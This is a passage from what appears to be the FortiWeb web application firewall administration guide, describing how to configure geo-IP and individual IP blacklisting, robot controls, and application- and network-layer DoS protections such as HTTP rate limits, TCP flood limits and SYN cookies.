X-header-derived client source IPs (see [“Defining your proxies, clients, & X-headers” on page 256](#)) do **not** support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work.



Because network mappings may change as networks grow and shrink, if you use this feature, be sure to periodically update the geography-to-IP mapping database. To download the file, go to the [Fortinet Technical Support web site](#).



Because geographical IP policies are evaluated before many other techniques, defining these IP addresses can be used to improve performance. For details, see [“Sequence of scans” on page 21](#).

To configure blocking by geography

1. Verify that client source IP addresses are visible to FortiWeb in either the X-headers or as the SRC field at the IP layer (see [“Defining your web servers & load balancers” on page 238](#)).

If FortiWeb is behind an external load balancer that applies SNAT, for example, you may need to configure it to append its and the client's IP address to `X-Forwarded-For`: in the HTTP header so that FortiWeb will be able to apply this feature. Otherwise, all traffic may appear to come from the same client, with a private network IP: the external load balancer.

2. If you want to use a trigger to create a log message and/or alert email when a geographically blacklisted client attempts to connect to your web servers, configure the trigger first. See [“Configuring triggers” on page 544](#).
3. Go to *Web Protection > Access > Geo IP*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

4. Click *Create New*.
A dialog appears.

5. Configure these settings:

Edit Geo IP Block Policy

Name

Severity

Trigger Action

ID	Country Name	Delete
1	Belize	Delete
2	Canada	Delete
3	Mexico	Delete
4	United States	Delete

Setting name	Description
Name	Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when a blacklisted IP address attempts to connect to your web servers: • Low • Medium • High
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a blacklisted IP address's attempt to connect to your web servers. See "Configuring triggers" on page 544 .

6. Click *OK*.
7. Click *Create New*.

8. From the *Country* list on the left, select one or more geographical regions that you want to block, then click the right arrow to move them to the *Selected Country* list on the right.

In addition to countries, the *Country* list also includes distinct territories within a country, such as Puerto Rico and United States Minor Outlying Islands, and regions that are not associated with any country, such as Antarctica.

New Geo IP Block Policy Country Item

Country	Selected Country
A Afghanistan Aland Islands Albania Algeria American Samoa Andorra Angola Anguilla Antarctica Antigua and Barbuda Argentina Armenia Aruba Australia Austria Azerbaijan	B Belize C Canada M Mexico U United States
B Bahamas Bahrain Bangladesh Barbados Belarus Belgium Benin Bermuda Bhutan Bolivia Bosnia and Herzegovina Botswana Bouvet Island Brazil British Indian Ocean Territory	

OK Cancel

9. Click *OK*.

The web UI returns to the initial dialog. The countries that you are blocking will appear as individual entries.

10. Click *OK*.

11. To apply your geographical blocking rule, select it in a protection profile (see [“Configuring a protection profile for inline topologies”](#) on page 456 or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation”](#) on page 464) that is being used by a server policy.

See also

- [Blacklisting & whitelisting clients individually by source IP](#)
- [Connecting to FortiGuard services](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Blacklisting & whitelisting clients individually by source IP

You can define which source IP addresses are trusted clients, undetermined, or distrusted.

- **Trusted IPs** — Almost always allowed to access to your protected web servers. Trusted IPs are exempt from many (but not all) of the restrictions that would otherwise be applied by a server policy. For a list of skipped scans, see [“Sequence of scans” on page 21](#).
- **Neither** — If a source IP address *is neither* explicitly blacklisted or trusted by an IP list policy, the client will be able to access your web servers, *unless* it is blocked by any of your other configured, subsequent web protection scan techniques (see [“Sequence of scans” on page 21](#)).
- **Blacklisted IPs** — Blocked and prevented from accessing your protected web servers. Requests from blacklisted IP addresses receive a warning message as the HTTP response. The warning message page includes *ID: 70007*, which is the ID of all attack log messages about requests from blacklisted IPs.

Figure 43:Warning response to blacklisted IPs

Web Page Blocked!

The page cannot be displayed. Please contact the administrator for additional information.

ID: 70007

Client IP: 172.20.120.49

Because many businesses, universities, and even now home networks use NAT, a packet's source IP address may not necessarily match that of the client. Keep in mind that if you black list or white list an individual source IP, it may therefore inadvertently affect other clients that share the same IP.



X-header-derived client source IPs (see [“Defining your proxies, clients, & X-headers” on page 256](#)) do **not** support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work.



Because trusted and blacklisted IP policies are evaluated before many other techniques, defining these IP addresses can be used to improve performance. For details, see [“Sequence of scans” on page 21](#).

To configure policies for individual source IPs

1. If you want to use a trigger to create a log message and/or alert email when a blacklisted client attempts to connect to your web servers, configure the trigger first. See [“Configuring triggers” on page 544](#).

2. Go to *Web Protection > Access > IP List*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

5. Click *OK*.

6. Click *Create New* to add an entry to the set.

A dialog appears.

7. Configure these settings:

Setting name	Description
Type	Select either: • Trust IP — The source IP address is trusted and allowed to access your web servers, unless it fails a previous scan (see “Sequence of scans” on page 21). • Black IP — The source IP address that is distrusted, and is permanently blocked (blacklisted) from accessing your web servers, even if it would normally pass all other scans. Note: If multiple clients share the same source IP address, such as when a group of clients is behind a firewall or router performing network address translation (NAT), blacklisting the source IP address could block innocent clients that share the same source IP address with an offending client.
IP	Type the client's source IP address.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when a blacklisted IP address attempts to connect to your web servers: • Low • Medium • High
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a blacklisted IP address's attempt to connect to your web servers. See “Configuring triggers” on page 544 .

8. Click *OK*.
9. Repeat the previous steps for each individual IP list member that you want to add to the IP list.
10. To apply the IP list, select it in an inline or offline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#) or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464](#)).

Attack log messages contain `Blacklisted IP blocked` when this feature detects a blacklisted source IP address.

See also

- [Blacklisting countries & regions](#)
- [Sequence of scans](#)
- [Monitoring currently blocked IPs](#)

Blacklisting content scrapers, search engines, web crawlers, & other robots

You can use FortiWeb features to control access by Internet robots such as:

- search engine indexers
- automated tools such as link checkers, web crawlers, and spiders

Predefined signatures for malicious robots and source IPs will be kept up-to-date if you have subscribed to FortiGuard Security Service.

To block typically unwanted automated tools, use [Bad Robot](#).

To control which search engine crawlers are allowed to access your sites, go to *Server Objects > Global > Known Search Engines*; also configure [Allow Known Search Engines](#).

See also

- [Sequence of scans](#)

Rate limiting

In addition to controlling which URLs a client can access, you can control how often. This can be especially important to preventing scouting and brute force password attacks.



If a client is not really interested in actually receiving a response and/or attempting to authenticate or connecting, but is simply attempting to consume resources in order to deprive legitimate clients, consider more than simple HTTP-layer rate limiting. See also [“DoS prevention” on page 328](#).

If you need to restrict access as well as rate limiting, you can do both at the same time. See [“Combination access control & rate limiting” on page 315](#).

DoS prevention

You can protect your web assets from a wide variety of denial of service (DoS) attacks.



Some DoS protection features are not supported in all modes of operation. For details, see [“Supported features in each operation mode” on page 61](#).

DoS features are organized by which open system interconnections (OSI) model layer they use primarily to apply the rate limit:

- Application layer (HTTP or HTTPS)
- Network and transport layer (TCP/IP)

Appropriate DoS rate limits vary by the web application you are protecting. For details, see [“Reducing false positives” on page 609](#).

Configuring application-layer DoS protection

The *DoS Protection > Application* submenu enables you to configure DoS protection at the network application layer.

For some DoS protection features, the FortiWeb appliance uses session management to track requests.

1. When a FortiWeb appliance receives the first request from any client, it adds a session cookie to the response from the web server in order to track the session. The client will include the cookie in subsequent requests.
2. If a client sends another request before the session timeout, FortiWeb examines the session cookie in the request.
 - If the cookie does not exist or its value has changed, the FortiWeb appliance drops the request.
 - If the same cookie exists, the request is treated as part of the same session. FortiWeb increments its count of connections and/or requests from the client. If the rate exceeds the limit, FortiWeb drops the extra connection or request.

See also

- [Limiting the total HTTP request rate from an IP](#)
- [Limiting TCP connections per IP address by session cookie](#)
- [Preventing an HTTP request flood](#)
- [Preventing automated requests](#)
- [Configuring browser enforcement exceptions](#)

Limiting the total HTTP request rate from an IP

You can limit the number of HTTP requests per second, per source IP address.

This feature is similar to *DoS Protection > Application > HTTP Flood Prevention*. However, this feature can prevent HTTP request floods that involve many different URLs. It also can detect source IP addresses that are shared by multiple clients, and intelligently enforce a separate request rate limit for those IPs, even if those clients do not support cookies.

FortiWeb appliances track the rate of requests from each source IP address, regardless of their HTTP method. If the rate of requests exceeds the limit, FortiWeb performs the *Action*.



This scan is bypassed if the client's source IP is a known search engine and you have enabled [Allow Known Search Engines](#).

To configure an HTTP request rate limit

1. Before you configure the rate limit, enable detection of when source IP addresses are shared by multiple clients. For details, see [“Advanced settings” on page 508](#).



If you do not enable detection of shared IP addresses ([Shared IP](#)), the second threshold, [HTTP Request Limit/sec \(Shared IP\)](#) will be ignored.

2. Go to *DoS Protection > Application > HTTP Access Limit*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

New HTTP Access Limit

Name	request-rate-limit1
HTTP Request Limit/sec (Standalone IP)	20 (0~65536)
HTTP Request Limit/sec (Shared IP)	60 (0~65536)

Limits the amount of HTTP requests per second from a certain IP

Real Browser Enforcement	☒
Validation Timeout	20 (5~30)Second

*When checked FortiWeb will validate the source once exceeds the request threshold.
Validation must occur in the timeout defined or the below action will be executed*

Action	Period Block
Block Period	600 (1~10000)(Seconds)
Severity	Medium
Trigger Policy	Please Select

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
HTTP Request Limit/sec (Standalone IP)	Type a rate limit for the maximum number of HTTP requests per second from each source IP address that is a single HTTP client. For example, if loading a web page involves: • 1 HTML file request • 1 external JavaScript file request • 3 image requests the rate limit should be at least 5, but could be some multiple such as 10 or 15 in order to allow 2 or 3 page loads per second from each client. For best results, this should be at least as many requests as required to normally load the URL. When a client accesses a web application, it normally requests many files, such as images and style sheets, used by the web page itself. If you set limits too low, it can cause false positive attack detections and block requests. In extreme cases, this could prevent a single web page from fully loading all of its components — images, CSS, and other external files. The valid range is from 0 to 65,536. The default value is 0. Fortinet suggests an initial value of 500. See also “Reducing false positives” on page 609.
HTTP Request Limit/sec (Shared IP)	Type a rate limit for the maximum number of HTTP requests per second from each source IP address that is shared by multiple HTTP clients. Typically, this limit should be greater than HTTP Request Limit/sec (Standalone IP). For example, let’s say a branch office with 10 employees is accessing your web site. Some solitary telecommuters also access your web site. Each telecommuter has her own IP address. However, the 10 people at the branch office are behind a firewall with NAT, and from the perspective of the Internet appear to have a single source IP address. If the appropriate rate limit for solitary telecommuters is 20 requests/sec., a fair rate limit for the branch office might be 200 requests/sec.: $20 \text{ requests/sec/person} \times 10 \text{ persons} = 200 \text{ requests/sec.}$ The valid range is from 0 to 65,536. The default value is 0. Fortinet suggests an initial value of 1000. See also “Reducing false positives” on page 609. Note: If detection of shared IP addresses is disabled, this setting will be ignored and all source IP addresses will be limited by HTTP Request Limit/sec (Standalone IP) instead. See “Advanced settings” on page 508.

Setting name	Description
Real Browser Enforcement	If you want to return a JavaScript to the client to test whether it is a web browser or automated tool when it exceeds the rate limit, enable this option. If either the client fails the test, or if it does not return results before the Validation Timeout, FortiWeb will apply the Action. If the client appears to be a web browser, FortiWeb will allow the client to exceed the action. Disable this option to apply the rate limit regardless of whether the client is a web browser such as Firefox or an automated tool such as wget.
Validation Timeout	Enter the maximum amount of time that FortiWeb will wait for results from the client for Real Browser Enforcement.

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the request and generate an alert email and/or log message. • Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the DDoS. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. The default value is <i>Alert</i>. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to enforce actions for this feature. See “Sessions & FortiWeb HA” on page 37. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0. See also “Monitoring currently blocked IPs” on page 591.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

5. Click *OK*.
6. Group the rule in a DoS protection policy (see [“Grouping DoS protection rules” on page 345](#)) that is used by a protection profile.
7. Enable the [Session Management](#) option in the protection profile.
Attack log messages contain `DoS Attack: HTTP Access Limit Violation` when this feature detects a multi-URL HTTP flood. See also [“Log rate limits” on page 531](#).

Example: HTTP request rate limit per IP

If you set 10 per second for both the shared and standalone limit, here are two scenarios:

- A client opens 5 TCP connections, where each connection has a different source port. Each TCP connection creates 3 HTTP `GET` requests. The FortiWeb appliance blocks the extra connections as there are 15 HTTP requests overall, which exceeds the limit.
- A client opens a single TCP connection with 12 HTTP `GET` requests. The *Period Block* action is set. Once the count exceeds 10, the FortiWeb appliance blocks all traffic from the client for the specified block period.

Limiting TCP connections per IP address by session cookie

You can limit the number of TCP connections per HTTP session. This can prevent TCP connection floods from clients operating behind a shared IP with innocent clients.

Excessive numbers of TCP connections per session can occur if a web application or client is malfunctioning, or if an attacker is attempting to waste socket resources to produce a DoS.

This feature is similar to *DoS Protection > Network > TCP Flood Prevention*. However, this feature counts TCP connections per session cookie, while *TCP Flood Prevention* counts only TCP connections per IP address. Because it uses session cookies at the application layer instead of only TCP/IP connections at the network layer, this feature can differentiate multiple clients that may be behind the same source IP address, such as when the source IP address hides a subnet that uses network address translation (NAT). However, in order to work, the client must support cookies.

If the count exceeds the limit, the FortiWeb appliance executes the *Action*.



This scan is bypassed if the client's source IP is a known search engine and you have enabled [Allow Known Search Engines](#).

To configure a TCP connection limit per session

1. Go to *DoS Protection > Application > Malicious IPs*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:

Edit Malicious IPs

Name

TCP Connection Number Limit (1~1024)
Limits the number of TCP connections with the same session cookie

Action

Severity

Trigger Action

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
TCP Connection Number Limit	Type the maximum number of TCP connections allowed with a single HTTP client. The valid range is from 1 to 1,024. The default is 1. Fortinet suggests an initial value of 100. See also “Reducing false positives” on page 609 .

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the request and generate an alert email and/or log message. • Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the DDoS. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. The default value is <i>Alert</i>. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to enforce actions for this feature. See “Sessions & FortiWeb HA” on page 37. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0. See also “Monitoring currently blocked IPs” on page 591.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

4. Click *OK*.
5. Group the rule in a DoS protection policy (see [“Grouping DoS protection rules” on page 345](#)) that is used by a protection profile.
6. Enable the [Session Management](#) option in the protection profile.
Attack log messages contain `DoS Attack: Malicious IPs Violation` when this feature detects a TCP flood with the same HTTP session cookie. See also [“Log rate limits” on page 531](#).

Example: TCP connection per session limit

If you set 10 as the connection limit, here are two scenarios:

- A client opens 5 TCP connections. Each connection has a different source port. Because each connection has a valid session cookie, and does not exceed the connection limit, the FortiWeb appliance allows them.
- A client opens 11 TCP connections. The FortiWeb appliance blocks the last connection because it exceeds the limit of 10.

See also

- [Limiting TCP connections per IP address](#)

Preventing an HTTP request flood

You can limit the number of HTTP requests per second, per session, per URL. This effectively prevents HTTP request floods that utilize a single URL.

Because this feature uses session cookies at the application layer instead of only TCP/IP connections at the network layer, this feature can differentiate multiple clients that may be behind the same source IP address, such as when the source IP address hides a subnet that uses network address translation (NAT). However, the client must support cookies.

This feature is similar to *DoS Protection > Application > HTTP Access Limit*. However, rather than preventing many requests to **any** URL by the same client, it prevents many requests to the **same** URL by the same client.

If the rate exceeds the limit, the FortiWeb appliance executes the *Action*.



This scan is bypassed if the client's source IP is a known search engine and you have enabled [Allow Known Search Engines](#).

To configure HTTP flood prevention

1. Go to *DoS Protection > Application > HTTP Flood Prevention*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see ["Permissions" on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:

New HTTP Flood Prevention

Name

request-rate-per-session1

HTTP Request Limit/sec

20 (0~4096)

Limits the number of HTTP requests per second with the same session cookie

Real Browser Enforcement

☒

Validation Timeout

20 (5~30)Second

When enabled,FortiWeb will validate the source once it exceeds the request threshold.
Validation must occur in the timeout defined or the below action will be executed

Action

Period Block

Block Period

600 (1~10000)(Seconds)

Severity

Medium

Trigger Policy

Please Select

OK

Cancel

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
HTTP Request Limit/sec	Type the maximum rate of requests per second allowed from a single HTTP client. The valid range is from 0 to 4,096. The default is 0. Fortinet suggests an initial value of 500. See also "Reducing false positives" on page 609.

Setting name	Description
Real Browser Enforcement	If you want to return a JavaScript to the client to test whether it is a web browser or automated tool when it exceeds the rate limit, enable this option. If either the client fails the test, or if it does not return results before the <i>Validation Timeout</i>, FortiWeb will apply the <i>Action</i>. If the client appears to be a web browser, FortiWeb will allow the client to exceed the action. Disable this option to apply the rate limit regardless of whether the client is a web browser such as Firefox or an automated tool such as wget.
Validation Timeout	Enter the maximum amount of time that FortiWeb will wait for results from the client for <i>Real Browser Enforcement</i>.

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the request and generate an alert email and/or log message. • Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the DDoS. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. The default value is <i>Alert</i>. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to enforce actions for this feature. See “Sessions & FortiWeb HA” on page 37. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0. See also “Monitoring currently blocked IPs” on page 591.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

4. Click *OK*.
5. Group the rule in a DoS protection policy (see [“Grouping DoS protection rules” on page 345](#)).
6. Select the DoS protection policy in a protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#)).
7. Enable the *Session Management* option in the protection profile.
Attack log messages contain *DoS Attack: HTTP Flood Prevention Violation* when this feature detects an HTTP flood.

Example: HTTP request flood prevention

Assuming you set 10 as the limit, here are three scenarios:

- A client opens a single TCP connection with 8 HTTP GET requests. As long as they all have the session cookie set by the FortiWeb appliance, it allows the requests.
- A client opens a single TCP connection with 8 HTTP GET requests. One request does not have the session cookie. The FortiWeb appliance drops the TCP connection (dropping all sessions).
- Two clients open 2 TCP connections. Each has 6 HTTP requests with the same session cookie. The FortiWeb appliance blocks the last two requests because there are 12, which exceeds the 10 limit.

Configuring network-layer DoS protection

The *DoS Protection > Network* submenu enables you to configure DoS protection at the network layer.

Limiting TCP connections per IP address

You can limit the number of fully-formed TCP connections per source IP address. This effectively prevents TCP flood-style denial-of-service (DoS) attacks.

TCP flood attacks exploit the fact that servers must consume memory to maintain the state of the open connection until either the timeout, or the client or server closes the connection. This consumes some memory even if the client is not currently sending any HTTP requests.

Normally, a legitimate client will form a single TCP connection, through which they may make several HTTP requests. As a result, each client consumes a negligible amount of memory to track the state of the TCP connection. However, an attacker will open many connections with

perhaps zero or one request each, until the server is exhausted and has no memory left to track the TCP states of new connections with legitimate clients.

This feature is similar to *DoS Protection > Application > Malicious IPs*. However, this feature counts TCP connections per IP, while *Malicious IPs* counts TCP connections per session cookie.

It is also similar to *DoS Protection > Network > Syn Cookie*. However, this feature counts fully-formed TCP connections, while *Syn Cookie* counts partially-formed TCP connections.

FortiWeb counts the TCP connections. If a source IP address exceeds the limit, FortiWeb executes the *Action* for that client.

To configure a TCP connection flood limit

1. Go to *DoS Protection > Network > TCP Flood Prevention*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see ["Permissions" on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:

Edit TCP Flood Prevention

Name tcp-flood-preventer1

TCP Connection Number Limit 10 (0~65535)
Limits the number of TCP connections from the same source IP address

Action Period Block ▼

Block Period 60 (1~3600)(Seconds)

Severity Medium ▼

Trigger Action notification-servers1 ▼

OK Cancel

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
TCP Connection Number Limit	Type the maximum number of TCP connections allowed with a single source IP address. The valid range is from 0 to 65,535. The default is 0.

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the request and generate an alert email and/or log message. • Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the DDoS. The default value is <i>Alert</i>. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 3,600 (1 hour). The default value is 0. See also “Monitoring currently blocked IPs” on page 591.
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>Medium</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

4. Click OK.

5. Group the rule in a DoS protection policy (see [“Grouping DoS protection rules” on page 345](#)) that is used by a protection profile.

Attack log messages contain `DoS Attack: TCP Flood Prevention Violation` when this feature detects a TCP connection flood. See also [“Log rate limits” on page 531](#).

Example: TCP flood prevention

Assume you set 10 as the limit. A client opens 15 TCP connections. Each connection has a different source port. The FortiWeb appliance counts all connections as part of the same source IP and blocks the connections because they exceed the limit.

See also

- [Limiting TCP connections per IP address by session cookie](#)
- [Preventing a TCP SYN flood](#)

Preventing a TCP SYN flood

You can configure protection from TCP `SYN` flood-style denial of service (DoS) attacks.

TCP `SYN` floods attempt to exploit the state mechanism of TCP. At the point where a client has only sent a `SYN` signal, a connection has been initiated and therefore consumes server memory to remember the state of the half-open connection. However, the connection has not yet been fully formed, and therefore packets are not required to contain any actual application layer payload such as HTTP yet. Because of this, it cannot be blocked by application-layer scans, nor can it be blocked by scans that only count fully-formed socket connections (where the client's `SYN` has been replied to by a `SYN ACK` from the server, and the client has confirmed connection establishment with an `ACK`).

Normally, a legitimate client will quickly complete the connection build-up and tear-down. However, an attacker will initiate many connections without completing them, until the server is exhausted and has no memory left to track the TCP connection state for legitimate clients.

To prevent this, FortiWeb can use a “SYN cookie” — a small piece of memory that keeps a timeout for half-open connections. This prevents half-open connections from accumulating to the point of socket exhaustion.

This feature is similar to *DoS Protection > Network > TCP Flood Prevention*. However, this feature counts partially-formed TCP connections, while *TCP Flood Prevention* counts fully-formed TCP connections.



When the operation mode is true transparent proxy, instead of configuring this setting, use the [Syn Cookie](#) and [Half Open Threshold](#) options in each server policy.

To configure TCP SYN flood protection

1. Go to *DoS Protection > Network > Syn Cookie*.



Syn Cookie

Syn Cookie ☒

Half Open Threshold

Severity

Trigger Action

Apply

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

2. Enable *Syn Cookie*.
3. In *Half Open Threshold*, enter the maximum number of TCP *SYN* packets, including retransmission, that may be sent per second to a destination address. If this threshold is exceeded, the FortiWeb appliance assumes a DoS attack is occurring and ignores additional traffic from that source IP address.
4. From the *Severity* drop-down list, select the severity level to include in logs and/or alert email when this type of attack is detected.
5. From the *Trigger Action* drop-down list, select the trigger, if any, that defines which log and/or alert email servers the FortiWeb appliance will use contact when the threshold is exceeded (see [“Configuring triggers” on page 544](#)).
6. Click *Apply*.

Unlike other DoS protection features, you do not need to include this setting in a DoS protection policy to make it effective. Once configured, the FortiWeb appliance applies SYN flood protection immediately to all connections attempting to through it.

See also

- [Limiting TCP connections per IP address](#)

Grouping DoS protection rules

Before you can apply them in a server policy via a protection profile, you must first group DoS prevention rules.

To configure a DoS protection policy

1. Before you can configure a DoS protection policy, you must first configure the rules that you want to include:
 - real browser enforcement rules (see [“Preventing automated requests” on page 347](#))
 - HTTP request flood prevention (see [“Preventing an HTTP request flood” on page 337](#))
 - HTTP request rate limit (see [“Limiting the total HTTP request rate from an IP” on page 329](#))
